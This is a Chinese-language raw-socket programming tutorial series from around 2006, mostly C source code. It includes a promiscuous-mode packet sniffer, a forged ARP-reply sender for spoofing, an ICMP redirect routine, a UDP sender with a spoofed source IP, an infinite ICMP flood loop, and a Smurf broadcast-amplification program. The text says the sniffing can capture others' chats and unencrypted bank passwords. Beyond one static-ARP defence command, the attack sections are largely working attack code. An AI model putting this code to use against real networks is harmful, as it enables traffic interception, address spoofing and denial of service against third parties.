int CIcmp::SetAsynchNotification(HWND hWnd, unsigned int Message, long Events) { int Result = WSAAsyncSelect (icmpSocket,hWnd, Message, Events); if (Result == SOCKET_ERROR) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 1; icmpSocket = INVALID_SOCKET; } return Result; }
设置TTL:
int CIcmp::SetTTL(int TTL) { int Result; Result = setsockopt (icmpSocket, IPPROTO_IP, IP_TTL, (LPSTR)&TTL, sizeof(int)); if (Result == SOCKET_ERROR) { icmpSocketErrorMod = 1; icmpSocketError = WSAGetLastError(); } return Result; }
Ping命令的函数:
int CIcmp::Ping (LPSTR pIcmpBuffer, int DataLen) { int Result; int IcmpBufferSize = DataLen + IcmpHeaderLength; pIcmpHeader = (LPIcmpHeader)pIcmpBuffer; memset (pIcmpBuffer, 'E', IcmpBufferSize);
memset (pIcmpHeader, 0, IcmpHeaderLength); pIcmpHeader->IcmpType = ICMP_ECHO; pIcmpHeader->IcmpCode = 0; pIcmpHeader->IcmpChecksum = 0; pIcmpHeader->IcmpId = icmpCurId; pIcmpHeader->IcmpSeq = icmpCurSeq; pIcmpHeader->IcmpTimestamp = GetCurrentTime(); pIcmpHeader->IcmpChecksum = IcmpChecksum ((USHORT FAR *)pIcmpBuffer,IcmpBufferSize); icmpPingSentAt = GetCurrentTime(); Result = sendto (icmpSocket, pIcmpBuffer, IcmpBufferSize, 0, (LPSOCKADDR)&icmpSockAddr, sizeof icmpSockAddr); if (Result == SOCKET_ERROR) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 1; } return Result; }
原始套接字透析之实现sniffer
大家知道,以太网采用广播机制,所有与网络连接的工作站都可以看到网络上传递的数据。通过查看包含在帧中的目标地址,确定是否进行接收或放弃。如果证明数据确实是发给自己的,工作站将会接收数据并传递给高层协议进行处理。但是,如果让网卡置于混杂模式(Promiscuous mode),则网卡不会鉴别帧的MAC地址,而是一律接收。
上图给出了以太网的帧格式,网卡是通过图中的MAC地址进行ID标识的。传说中的网络嗅探(sniffer)就是指让网卡进入混杂模式从而接收正在局域 网总线上发送的所有报文。为什么能够嗅探到局域网上的所有报文,是因为基于IEEE 802.3的以太网在MAC层采用广播方式发送帧。因此,从理论上来讲,我们可以编写黑客程序监听局域网上的所有信息。QQ、MSN监听软件就是基于这一机理的,它可以监听局域网上所有用户的QQ、MSN聊天记录。 为了实现sniffer,我们应首先让网卡进入混杂模式并建立和设置原始套接字为亲自处理报头:
//初始化SOCKET WSADATA wsaData; iErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData); CheckSockError(iErrorCode, "WSAStartup"); SockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP); CheckSockError(SockRaw, "socket"); //获取本机IP地址 char name[MAX_HOSTNAME_LAN]; iErrorCode = gethostname(name, MAX_HOSTNAME_LAN); CheckSockError(iErrorCode, "gethostname"); struct hostent *pHostent; pHostent = (struct hostent*)malloc(sizeof(struct hostent)); pHostent = gethostbyname(name); SOCKADDR_IN sa;
sa.sin_family = AF_INET; sa.sin_port = htons(6000); memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length); iErrorCode = bind(SockRaw, (PSOCKADDR) &sa, sizeof(sa)); CheckSockError(iErrorCode, "bind"); //设置SOCK_RAW为SIO_RCVALL,以便接收所有的IP包 DWORD dwBufferLen[10]; DWORD dwBufferInLen = 1; DWORD dwBytesReturned = 0; iErrorCode = WSAIoctl(SockRaw, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen) , &dwBufferLen, sizeof(dwBufferLen), &dwBytesReturned, NULL, NULL); CheckSockError(iErrorCode, "Ioctl");
下面就可以接收并处理IP报文:
//侦听IP报文 while (1) { memset(RecvBuf, 0, sizeof(RecvBuf)); iErrorCode = recv(SockRaw, RecvBuf, sizeof(RecvBuf), 0); CheckSockError(iErrorCode, "recv"); iErrorCode = DecodeIpPack(RecvBuf, iErrorCode); CheckSockError(iErrorCode, "Decode"); }
Sniffer程序接收到报文后,即可调用相应的程序来分析具体的报文。 对于sniffer我们不得不说的是,仅仅将网卡置于混杂模式并不能保证我们能嗅探到交换式局域网上的所有帧,因为交换式局域网已经不再是广播式/总线传输了,为了能嗅探到交换式局域网上的帧,我们需要采用另一项技术ARP欺骗。
原始套接字透析之实现包分析
紧接上节,DecodeIpPack()函数完成包的解析:
//IP包解析 int DecodeIpPack(char *buf, int iBufSize) { IP_HEADER *pIpheader;
int iProtocol, iTTL; char szProtocol[MAX_PROTO_TEXT_LEN]; char szSourceIP[MAX_ADDR_LEN], szDestIP[MAX_ADDR_LEN]; SOCKADDR_IN saSource, saDest; pIpheader = (IP_HEADER*)buf; //Check Proto iProtocol = pIpheader->proto; strncpy(szProtocol, CheckProtocol(iProtocol), MAX_PROTO_TEXT_LEN); if ((iProtocol == IPPROTO_TCP) && (!ParamTcp)) return true; if ((iProtocol == IPPROTO_UDP) && (!ParamUdp)) return true; if ((iProtocol == IPPROTO_ICMP) && (!ParamIcmp)) return true; //Check Source IP saSource.sin_addr.s_addr = pIpheader->sourceIP; strncpy(szSourceIP, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN); if (strFromIpFilter) if (strcmp(strFromIpFilter, szSourceIP)) return true; //Check Dest IP saDest.sin_addr.s_addr = pIpheader->destIP; strncpy(szDestIP, inet_ntoa(saDest.sin_addr), MAX_ADDR_LEN); if (strDestIpFilter) if (strcmp(strDestIpFilter, szDestIP)) return true; iTTL = pIpheader->ttl; //Output printf("%s ", szProtocol); printf("%s->%s ", szSourceIP, szDestIP); printf("bytes=%d TTL=%d ", iBufSize, iTTL); //Calculate IP Header Length int iIphLen = sizeof(unsigned long)*(pIpheader->h_lenver &0xf); //Decode Sub Protocol:TCP, UDP, ICMP, etc switch (iProtocol) { case IPPROTO_TCP: DecodeTcpPack(buf + iIphLen); break; case IPPROTO_UDP: DecodeUdpPack(buf + iIphLen);
break; case IPPROTO_ICMP: DecodeIcmpPack(buf + iIphLen); break; default: break; } return true; }
上述程序解析IP包类型后又分别调用DecodeTcpPack()、DecodeUdpPack()、DecodeIcmpPack()解析相应的TCP报文、UDP报文和ICMP报文。
//TCP报文解析 int DecodeTcpPack(char *TcpBuf) { TCP_HEADER *pTcpHeader; int i; pTcpHeader = (TCP_HEADER*)TcpBuf; printf("Port:%d->%d ", ntohs(pTcpHeader->th_sport), ntohs(pTcpHeader->th_dport)); unsigned char FlagMask = 1; for (i = 0; i < 6; i++) { if ((pTcpHeader->th_flag) &FlagMask) printf("%c", TcpFlag[i]); else printf("-"); FlagMask = FlagMask << 1; } printf("/n"); return true; } //UDP报文解析 int DecodeUdpPack(char *UdpBuf) { UDP_HEADER *pUdpHeader; pUdpHeader = (UDP_HEADER*)UdpBuf; printf("Port:%d->%d ", ntohs(pUdpHeader->uh_sport), ntohs(pUdpHeader->uh_dport)); printf("Len=%d/n", ntohs(pUdpHeader->uh_len)); return true; }
//ICMP报文解析 int DecodeIcmpPack(char *IcmpBuf) { ICMP_HEADER *pIcmpHeader; pIcmpHeader = (ICMP_HEADER*)IcmpBuf; printf("Type:%d,%d ", pIcmpHeader->i_type, pIcmpHeader->i_code); printf("ID=%d SEQ=%d/n", pIcmpHeader->i_id, pIcmpHeader->i_seq); return true; }
上述程序分析了具体的TCP、UDP和ICMP报头,解析出源地址、目标地址、源端口、目标端口、ICMP控制信息类型和代码等。当然,我们也可以进一步分析报文的数据域,或进行应用层解析,从而可获知任何信息(如果信息未采用任何加密手段),包括: 1. 局域网上的其他用户在访问什么网站; 2. 局域网上的其他用户在QQ、MSN上发送和接收什么内容; 3. 局域网上的用户网络游戏的游戏信息; 4. 没有加密的银行卡账户、密码等。
原始套接字透析之ARP欺骗
2006-11-17 07:00 作者: 宋宝华 出处: 天极开发 责任编辑:方舟
ARP欺骗的原理可简单的解释如下:假设有三台主机A,B,C位于同一个交换式局域网中,监听者处于主机A,而主机B,C正在通信。现在A希望能嗅探到 B->C的数据,于是A就可以伪装成C对B做ARP欺骗--向B发送伪造的ARP应答包,应答包中IP地址为C的IP地址而MAC地址为A的MAC 地址。 这个应答包会刷新B的ARP缓存,让B认为A就是C,说详细点,就是让B认为C的IP地址映射到的MAC地址为主机A的MAC地址。这样,B想要发送给C 的数据实际上却发送给了A,就达到了嗅探的目的。我们在嗅探到数据后,还必须将此数据转发给C,这样就可以保证B,C的通信不被中断。以上就是基于ARP 欺骗的嗅探基本原理,在这种嗅探方法中,嗅探者A实际上是插入到了B->C中,B的数据先发送给了A,然后再由A转发给C,其数据传输关系如下所 示: B----->A----->C B<----A<------C Windows系统中缓存了目前的MAC地址与IP地址之间的映射,通过arp -a命令可以获得,如下图:
笔者的电脑IP地址为192.168.1.2,通过网关192.168.1.1到达公网。当某人用"网络剪刀手"或"网络执法官"一类的软件给 笔者发送伪造的ARP报文后,笔者的Windows会缓存一个错误的网关MAC地址。由于IP包最终要通过MAC地址寻址到192.168.1.1网关进 行转发,而本机对192.168.1.1 MAC地址的记录已经是错的了,这样,IP包将无法到达网关,笔者将不能再连接Internet,这就是恼人的"网络剪刀手"的工作原理。如果受到了恶意 的ARP欺骗,我们只需要将网关的IP地址与MAC地址在本机静态绑定,运行如下命令: ARP -s 192.168.1.1 00-33-44-57-17-a3 再看看此时的ARP缓存:
192.168.1.1一项由dynamic变成了static。 实现ARP欺骗最重要的是要组建一个ARP报文并发送给要欺骗的目标主机,下面的源代码演示了这个过程:
#define EPT_IP 0x0800/* type: IP*/ #define EPT_ARP 0x0806/* type: ARP */ #define EPT_RARP 0x8035/* type: RARP */ #define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames */ #define ARP_REQUEST 0x0001/* ARP request */ #define ARP_REPLY 0x0002/* ARP reply */ #define Max_Num_Adapter 10 #pragma pack(push, 1) typedef struct ehhdr { unsigned chareh_dst[6]; /* destination ethernet addrress */ unsigned chareh_src[6]; /* source ethernet addresss */ unsigned shorteh_type; /* ethernet pachet type*/ } EHHDR, *PEHHDR; typedef struct arphdr { unsigned shortarp_hrd; /* format of hardware address */ unsigned shortarp_pro; /* format of protocol address */ unsigned chararp_hln; /* length of hardware address */ unsigned chararp_pln; /* length of protocol address */ unsigned shortarp_op; /* ARP/RARP operation */ unsigned chararp_sha[6]; /* sender hardware address */ unsigned longarp_spa; /* sender protocol address */ unsigned chararp_tha[6]; /* target hardware address */ unsigned longarp_tpa; /* target protocol address */ } ARPHDR, *PARPHDR; typedef struct arpPacket { EHHDRehhdr; ARPHDRarphdr; } ARPPACKET, *PARPPACKET;
#pragma pack(pop) int main(int argc, char *argv[]) { static char AdapterList[Max_Num_Adapter][1024]; char szPacketBuf[600]; char MacAddr[6]; LPADAPTERlpAdapter; LPPACKETlpPacket; WCHARAdapterName[2048]; WCHAR *temp, *temp1; ARPPACKET ARPPacket; ULONG AdapterLength = 1024; int AdapterNum = 0; int nRetCode, i; //Get The list of Adapter if (PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!/n"); return 0; } temp = AdapterName; temp1 = AdapterName; i = 0; while ((*temp != '/0') || (*(temp - 1) != '/0')) { if (*temp == '/0') { memcpy(AdapterList[i], temp1, (temp - temp1) *2); temp1 = temp + 1; i++; } temp++; } AdapterNum = i; for (i = 0; i < AdapterNum; i++)
wprintf(L "/n%d- %s/n", i + 1, AdapterList[i]); printf("/n"); //Default open the 0 lpAdapter = (LPADAPTER)PacketOpenAdapter((LPTSTR)AdapterList[0]); //取第一个网卡 if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { nRetCode = GetLastError(); printf("Unable to open the driver, Error Code : %lx/n", nRetCode); return 0; } lpPacket = PacketAllocatePacket(); if (lpPacket == NULL) { printf("/nError:failed to allocate the LPPACKET structure."); return 0; } ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); if (!GetMacAddr("BBBBBBBBBBBB", MacAddr)) { printf("Get Mac address error!/n"); } memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址 if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)) { printf("Get Mac address error!/n"); return 0; } memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址) ARPPacket.ehhdr.eh_type = htons(EPT_ARP); ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE); ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6; ARPPacket.arphdr.arp_pln = 4; ARPPacket.arphdr.arp_op = htons(ARP_REPLY); if (!GetMacAddr("DDDDDDDDDDDD", MacAddr)) { printf("Get Mac address error!/n"); return 0; } memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址 ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址 if (!GetMacAddr("AAAAAAAAAAAA", MacAddr)) { printf("Get Mac address error!/n"); return 0; } memcpy(ARPPacket.arphdr.arp_tha, MacAddr, 6); //目标A的MAC地址 ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址 memcpy(szPacketBuf, (char*) &ARPPacket, sizeof(ARPPacket)); PacketInitPacket(lpPacket, szPacketBuf, 60); if (PacketSetNumWrites(lpAdapter, 2) == FALSE) { printf("warning: Unable to send more than one packet ina single write ! / n "); } if (PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE) { printf("Error sending the packets!/n"); return 0; } printf("Send ok!/n"); // close the adapter and exit PacketFreePacket(lpPacket); PacketCloseAdapter(lpAdapter);
return 0; }
上述程序中使用了著名的开放项目Winpcap(The Packet Capture and Network Monitoring Library for Windows)中的API,项目网址为:http://www.winpcap.org/。Winpcap是UNIX下的libpcap移植到 Windows下的产物,工作于驱动(Driver)层,能以很高的效率进行网络操作。其提供的packet.dll中包含了多个功能强大的函数,我们聊举几例: LPPACKET PacketAllocatePacket(void); 如果运行成功,返回一个_PACKET结构的指针,否则返回NULL。成功返回的结果将会传送到PacketReceivePacket()函数,接收来自驱动的网络数据报。 LPADAPTER PacketOpetAdapter(LPTSTR AdapterName); 打开一个网络适配器。 VOID PacketCloseAdapter(LPADAPTER lpAdapter); 关闭参数中提供的网络适配器,释放相关的ADAPTER结构。 VOID PacketFreePacket(LPPACKET lpPacket); 释放参数提供的_PACKET结构。 BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize); 返回可以得到的网络适配器列表及描述。 BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync); 从NPF驱动程序读取网络数据报及统计信息。 数据报编码结构: |bpf_hdr|data|Padding|bpf_hdr|data|Padding| BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync); 发送一个或多个数据报的副本。 我们用Depends工具打开pakcet.dll,如下图:
目前,网络剪刀手、网络执法官的软件在底层都用到了Winpcap。本节的例程代码中,看不到关于socket的内容,实际上已经在Winpcap中实现了。Winpcap的源代码可以直接在http://www.winpcap.org/下载。
原始套接字透析之实现路由欺骗
2006-11-15 08:00 作者: 宋宝华 出处: 天极开发 责任编辑:方舟
Windows系统保持着一张已知的路由器列表,我们可以使用route PRINT命令显示路由表,下面是笔者的电脑运行route PRINT命令后的结果:
列表中到达某目的节点的第一项Gateway为默认路由器,如果默认路由器关闭,则位于列表第二项的路由器成为缺省路由器。缺省路由向发送者报告另一条 到特定主机的更短路由,就是ICMP重定向。攻击者可利用ICMP重定向报文破坏路由,并伪装成路由器截获所有到某些目标网络或全部目标网络的IP数据 包,进行窃听。 显然,前文中我们只是讲解了发送ICMP Ping命令,可以编写更加通用的函数以便发送各种类型的ICMP报文。下面给出了美国北卡罗莱纳大学(University of North Carolina)计算机系的开放源代码的发送各类ICMP报文的程序:
// icmp:发送各类ICMP报文 icmp(type, code, dst, pa1, pa2) short type, code; IPaddr dst; char *pa1, *pa2; { struct ep *pep; struct ip *pip;
struct icmp *pic; Bool isresp, iserr; IPaddr src; int i, datalen; IcmpOutMsgs++; pep = icsetbuf(type, pa1, &isresp, &iserr); if (pep == 0) { IcmpOutErrors++; return SYSERR; } pip = (struct ip*)pep->ep_data; pic = (struct icmp*)pip->ip_data; datalen = IC_HLEN; /* we fill in the source here, so routing won't break it */ if (isresp) { if (iserr) { if (!icerrok(pep)) { freebuf(pep); return OK; } blkcopy(pic->ic_data, pip, IP_HLEN(pip) + 8); datalen += IP_HLEN(pip) + 8; } icsetsrc(pip); } else pip->ip_src = ip_anyaddr; pip->ip_dst = dst; pic->ic_type = (char)type; pic->ic_code = (char)code; if (!isresp) { if (type == ICT_ECHORQ) pic->ic_seq = (int)pa1; else pic->ic_seq = 0;
pic->ic_id = getpid(); } datalen += icsetdata(type, pip, pa2); pic->ic_cksum = 0; pic->ic_cksum = cksum(pic, datalen); ipsend(dst, pep, datalen, IPT_ICMP, IPP_INCTL, IP_TTL); return OK; } // icsetdata:根据报文类型填充相应的数据 int icsetdata(type, pip, pa2) int type; struct ip *pip; char *pa2; { struct icmp *pic = (struct icmp *)pip->ip_data; int i, len; switch (type) { case ICT_ECHORP: len = pip->ip_len - IP_HLEN(pip) - IC_HLEN; if (isodd(len)) pic->ic_data[len] = 0; /* so cksum works */ return len; case ICT_DESTUR: case ICT_SRCQ: case ICT_TIMEX: pic->ic_mbz = 0; /* must be 0 */ break; case ICT_REDIRECT: pic->ic_gw = (IPaddr)pa2; break; case ICT_PARAMP: pic->ic_ptr = (char) pa2; for (i=0; i<IC_PADLEN; ++i) pic->ic_pad[i] = 0; break; case ICT_MASKRP: blkcopy(pic->ic_data, &pa2, IP_ALEN); break; case ICT_ECHORQ: if ((int)pa2 > ECHOMAX(pip)) pa2 = (char *)ECHOMAX(pip);
for (i=0; i<(int)pa2; ++i) pic->ic_data[i] = i; return (int)pa2; case ICT_MASKRQ: blkcopy(pic->ic_data, &ip_anyaddr, IP_ALEN); return IP_ALEN; } return 0; }
而下面的代码则显示了计算机在收到ICMP redirect报文后的行为:
// icredirect:处理接收到的ICMP redirect报文,刷新路由缓存 int icredirect(pep) struct ep *pep; { struct route *prt; struct ip *pip, *pip2; struct icmp *pic; IPaddr mask; pip = (struct ip*)pep->ep_data; pic = (struct icmp*)pip->ip_data; pip2 = (struct ip*)pic->ic_data; if (pic->ic_code == ICC_HOSTRD) mask = ip_maskall; else netmask(mask, pip2->ip_dst); prt = rtget(pip2->ip_dst, RTF_LOCAL); if (prt == 0) { freebuf(pep); return OK; } if (pip->ip_src == prt->rt_gw) { rtdel(pip2->ip_dst, mask); rtadd(pip2->ip_dst, mask, pic->ic_gw, prt->rt_metric, prt->rt_ifnum,IC_RDTTL); } rtfree(prt); freebuf(pep); return OK; }
University of North Carolina完整的ICMP代码下载地址为:http://www.cs.unc.edu/~dewan/242/s00/xinu-pentium/icmp/
原始套接字透析之实现IP地址欺骗
由于使用Raw Socket的时候,IP报头可完全由程序员自定义,所以我们可以任意地修改本地发送包的IP地址,使得接收方错误的认为IP报文是由欺骗地址发出的。 下面的程序演示了向某目标发送IP地址伪装的UDP报文的过程:
void sendPesuoIpUDP(void) { WSADATA wsd; if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) { printf("WSAStartup() failed: %d ", GetLastError()); return; } SOCKET s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_UDP, NULL, 0,WSA_FLAG_OVERLAPPED); // Create a raw socket if (s == INVALID_SOCKET) { printf("WSASocket() failed: %d ", WSAGetLastError()); return - 1; } BOOL bOpt = TRUE; int ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char*) &bOpt, sizeof(bOpt)); // 使用IP_HDRINCL if (ret == SOCKET_ERROR) { printf("setsockopt(IP_HDRINCL) failed: %d ", WSAGetLastError()); return - 1; } const int BUFFER_SIZE = 80; char buffer[BUFFER_SIZE]; const char *strMessage = "treat demo"; // Message to send // Set IP header IP_HDR ipHdr; UDP_HDR udpHdr;
const unsigned short iIPSize = sizeof(ipHdr) / sizeof(unsigned long); const unsigned short iIPVersion = 4; ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize; ipHdr.ip_tos = 0; // IP type of service const unsigned short iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + strlen(strMessage); ipHdr.ip_totallength = htons(iTotalSize); // Total packet len ipHdr.ip_id = 0; // Unique identifier: set to 0 ipHdr.ip_offset = 0; // Fragment offset field ipHdr.ip_ttl = 128; // Time to live ipHdr.ip_protocol = 0x11; // Protocol(UDP) ipHdr.ip_checksum = 0; // IP checksum const char *target_ip_address = "192.168.0.102"; const char *treat_ip_address = "1.0.5.7"; ipHdr.ip_destaddr = inet_addr(target_ip_address); // 接收方IP地址 ipHdr.ip_srcaddr = inet_addr(treat_ip_address); // 发送方伪造的IP地址 // Set UDP header const u_short uToPort = 8000; udpHdr.dst_portno = htons(uToPort); // 接收方端口 const u_short uFromPort = 1000; udpHdr.src_portno = htons(uFromPort); // 发送伪造的端口 const unsigned short iUdpSize = sizeof(udpHdr) + strlen(strMessage); udpHdr.udp_length = htons(iUdpSize); udpHdr.udp_checksum = 0; // 组建待发送的UDP报文 ZeroMemory(buffer, BUFFER_SIZE); char *ptr = buffer; memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr); memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr); memcpy(ptr, strMessage, strlen(strMessage));
// Apparently, this SOCKADDR_IN structure makes no difference. // Whatever we put as the destination IP addr in the IP header is what goes. // Specifying a different destination in remote will be ignored. sockaddr_in remote; remote.sin_family = AF_INET; remote.sin_port = htons(8000); remote.sin_addr.s_addr = inet_addr("192.168.0.102"); printf("TO %s:%d ", target_ip_address, uToPort); ret = sendto(s, buffer, iTotalSize, 0, (SOCKADDR*) &remote, sizeof(remote)); // 发送伪造的报文 if (ret == SOCKET_ERROR) { printf("sendto() failed: %d ", WSAGetLastError()); } else printf("sent %d bytes ", ret); closesocket(s); WSACleanup(); return; }
如果我们在第4节描述的ICMP FLOOD攻击中伪造IP地址,则对方将无法检测出究竟是谁在对其进行攻击,实际上,这也是一种非常常用的黑客攻击中隐藏自身的途径。
原始套接字透析之ICMP拒绝服务攻击
2006-11-14 16:32 作者: 宋宝华 出处: 天极开发 责任编辑:方舟
拒绝服务攻击(DoS)企图通过使被攻击的计算机资源消耗殆尽从而不能再提供服务,拒绝服务攻击是最容易实施的攻击行为。中美黑客大战中的中国黑客一般对美进行的就是拒绝服务攻击,其技术手段大多不够高明。 ICMP实现拒绝服务攻击的途径有二:一者"单刀直入",一者"借刀杀人"。具体过程分析如下: ICMP FLOOD攻击 大量的 ICMP消息发送给目标系统,使得它不能够对合法的服务请求做出响应。中美黑客大战中的多数中国黑客采用的正是此项技术。ICMP FLOOD攻击实际上是一种两败俱伤的攻击方式,在主机"疯狂"地向攻击目标发送ICMP消息的时候,主机也在消耗自身的系统资源。如果自身的网络资源小 于目标的话,这种攻击就是"蚍蜉撼大树"。因此,ICMP FLOOD攻击为了达到很好的效果,往往要联合多台机器同时攻击同一台机器,从而形成分布式拒绝服务攻击(DDoS)。 调用下面的程序可实现ICMP Flood攻击:
int icmpFlood(int PacketSize, char *DestIp, int type, int code) { int datasize, ErrorCode; int TimeOut = 2000, SendSEQ = 0, PacketSize = 32, type = 8, code = 0, counter = 0; char SendBuf[65535] = { 0 }; WSADATA wsaData; SOCKET SockRaw = (SOCKET)NULL; struct sockaddr_in DestAddr; ICMP_HEADER icmp_header; if (PacketSize > 65500) { return FALSE; } if (type > 16) { return FALSE; } if ((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0)
{ return FALSE; } if ((SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) { return FALSE; } ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*) &TimeOut,sizeof(TimeOut)); if (ErrorCode == SOCKET_ERROR) { return FALSE; } printf("Starting.../n/n"); memset(&DestAddr, 0, sizeof(DestAddr)); DestAddr.sin_family = AF_INET; DestAddr.sin_addr.s_addr = inet_addr(DestIp); icmp_header.i_type = type; icmp_header.i_code = code; icmp_header.i_cksum = 0; icmp_header.i_id = 2; icmp_header.timestamp = GetTickCount(); icmp_header.i_seq = 999; memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); memset(SendBuf + sizeof(icmp_header), 'E', PacketSize); icmp_header.i_cksum = checksum((unsigned short*)SendBuf, sizeof(icmp_header) + PacketSize); datasize = sizeof(icmp_header) + PacketSize; while (1) { printf("Sending 1024 packets.../n"); for (counter = 0; counter < 1024; counter++) { ErrorCode = sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr)); if (ErrorCode == SOCKET_ERROR) printf("/nSend Error:%d/n", GetLastError());
} } if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); WSACleanup(); return TRUE; }
ICMP SMURF 攻击者向许多地址发送ICMP Echo Request,但是它却告诉这些地址ICMP Echo Request不是它自己发的,而是"某某"发的,这个"某某"就会成为"众矢之的"。通过伪装目的主机的IP地址,向多个IP 网络的广播地址发送ICMP Echo Request数据包,使得目的主机需要消耗大量CPU 资源和有效带宽来处理来自众多节点的ICMP Reply数据包。该攻击的原理如下图: 从图中可以看出,带宽仅为128Kbps的攻击者可以击溃带宽比其更大(512Kbps)的目标,因为ICMP SMURF采用的手段是"借刀杀人"!它本身并不向目标发送ICMP消息,而是向许多远程主机"诬告"攻击目标向他们发送了ICMP Echo,于是这些远程主机纷纷向攻击目标发送ICMP Reply,导致攻击目标崩溃。有明一代名将袁崇焕督师就是因为满人的反间计而被崇祯凌迟,并被当时的北京市民争其肉而食的。网络攻击中的"借刀杀人"照 样威力无穷。 一个实现ICMP SMURF的程序框架如下:
void icmpSmurf(void) { struct sockaddr_in sin; struct hostent *he; FILE *bcastfile; int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192); //… memcpy((caddr_t) &sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); //… x = 0; while (!feof(bcastfile)) { fgets(buf, 32, bcastfile); if (buf[0] == '#' || buf[0] == '/n' || !isdigit(buf[0])) continue; for (i = 0; i < strlen(buf); i++) if (buf[i] == '/n') buf[i] = '/0'; bcastaddr[x] = malloc(32); strcpy(bcastaddr[x], buf); x++; } bcastaddr[x] = 0x0; fclose(bcastfile); if (x == 0) { fprintf(stderr, "ERROR: no broadcasts found in file %s/n/n", argv[2]); exit( - 1); } if (pktsize > 1024) { fprintf(stderr, "ERROR: packet size must be < 1024/n/n"); exit( - 1); } if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit( - 1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*) &bcast, sizeof(bcast));
printf("Flooding %s (. = 25 outgoing packets)/n", argv[1]); for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("."); fflush(stdout); } smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == 0x0) cycle = 0; usleep(delay); } puts("/n/n"); return 0; }
其中调用的smurf()函数为:
void smurf(int sock, struct sockaddr_in sin, u_long dest, int psize) { struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr*)packet; icmp = (struct icmphdr*)(packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short*)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short*)icmp, sizeof(struct icmphdr) + psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr*) &sin, sizeof(struct sockaddr)); free(packet); }
洪水攻击原理及代码实现全攻略(附源代码)
